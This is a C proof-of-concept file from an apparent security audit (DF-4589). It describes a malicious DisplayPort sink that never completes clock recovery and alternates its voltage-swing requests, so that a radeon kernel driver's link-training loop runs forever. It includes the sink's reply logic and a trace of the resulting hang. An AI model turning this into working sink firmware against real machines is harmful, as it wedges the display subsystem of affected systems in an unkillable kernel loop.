DF-4589 / trigger.c
/* DF-4589 trigger โ malicious DisplayPort sink behavior spec (radeon CR-loop wedge) * * VULNERABILITY: sys/dev/drm/radeon/atombios_dp.c:684-722 * radeon_dp_link_train_cr() loop clock-recovery loop terminates only on: * (a) drm_dp_clock_recovery_ok() [sink achieves CR] * (b) DPCD link-status read failure * (c) all lanes report DP_TRAIN_MAX_SWING_REACHED (train voltage == level 3) * (d) 5 *consecutive* iterations with identical train_set[0] voltage * (atombios_dp.c:707-714 โ "else dp_info->tries = 0;") * * A sink that (1) never achieves clock recovery, (2) keeps the requested * voltage swing strictly below level 3, and (3) ALTERNATES its adjust-request * voltage between two levels (e.g. 0.4V <-> 0.6V) on every status read makes * the (train_set[0] & DP_TRAIN_VOLTAGE_SWING_MASK) == voltage test fails on * every other iteration, so the tries counter is reset to 0 forever and the loop never * exits. Each iteration sleeps in drm_dp_link_train_clock_recovery_delay() * (>= 100 us; up to mdelay(rd_interval*4) ~ 508 ms with crafted DPCD[0x0E], * drm_dp_helper.c:121-134) and performs a DPCD read. * * IMPACT: radeon_dp_link_train() is called from the encoder DPMS-on path * (atombios_encoders.c:1777), i.e. inside the DRM modeset path holding * mode_config.mutex โ either the HPD workqueue thread or the userspace * thread that issued MODE_SETCRTC / a DPMS property set. Result: an * unkillable task spinning non-interruptibly in the kernel and a * permanently wedged display subsystem (all further DRM ioctls on the * card block on the mutex). * * This file documents the deterministic sink state machine (executable logic * below). It CANNOT run on the audit QEMU guest: reproduction requires a * radeon GPU (AMD PCI 0x1002) driving a crafted DisplayPort sink (MCU-based * dongle emulating the DPCD responses below). run.sh probes the guest and * records the hardware absence (see run.log). * * Sink state machine (what the crafted DP device answers on AUX reads): */ #include <stdint.h> /* DPCD bytes the sink publishes at probe time */ static const uint8_t crafted_dpcd[16] = { 0x11, /* [0x00] DPCD_REV 1.1 */ 0x0A, /* [0x01] MAX_LINK_RATE 2.7 GHz (270000) */ 0x04, /* [0x02] MAX_LANE_COUNT 4 (stay in-spec; DF-1730 is the >4 variant and out of scope here) */ 0x00, /* [0x03] MAX_DOWN_SPREAD none */ 0x00, /* [0x04] */ 0x00, /* [0x05] DOWNSTREAM_PORT_COUNT / no OUI */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* [0x0D] */ 0x00, /* [0x0E] TRAINING_AUX_RD_INTERVAL -> udelay(100) */ 0x00 /* [0x0F] */ }; /* Link-status registers 0x202..0x207 (SINK_COUNT..LANE2_3_STATUS). * Adjust request nibbles at 0x206/0x207 (ADJUST_REQUEST_LANE0_1 / 2_3): * bits [1:0] voltage swing level, [3:2] pre-emphasis level. * * SUCCESS CRITERION FOR THE ATTACK: alternate lane0 voltage request * between level 0 (0.4V) and level 1 (0.6V) on every read, never set * level 3, and never report CR_DONE. */ static unsigned toggle_; static uint8_t sink_status_reply(unsigned reg) { switch (reg) { case 0x202: return 0x00; /* no lane CR done */ case 0x203: return 0x00; /* interlane align fail */ case 0x204: return 0x00; /* symbol locked: never */ case 0x205: return 0x00; case 0x206: /* ADJUST_REQUEST_LANE0_1 */ toggle_ ^= 1; /* lane0 voltage = toggle (0 or 1), pre-emph 0; lane1 same */ return (uint8_t)(toggle_ | (toggle_ << 4)); case 0x207: return 0x00; default: return 0x00; } } /* Kernel-side effect (trace of the loop with this reply pattern): * * iter voltage(prev) train_set[0]&MASK equal? tries action * 1 0xff 0x00 (v=0 req) no 0->0 set 0.4V * 2 0x00 0x01 (v=1 req) no 0 set 0.6V * 3 0x01 0x00 (v=0 req) no 0 set 0.4V * 4 0x00 0x01 no 0 ... * ... (forever โ the "clock recovery tried 5 times" branch at * atombios_dp.c:709-712 is unreachable; the max-swing break at * 698-705 requires level 3 which the sink never requests) * * Live demonstration requires: radeon GPU + this sink firmware on a * DP dongle + any modeset on the connector (e.g. xrandr --auto). */ int main(void) { return sink_status_reply(0x206) ? 0 : 0; } |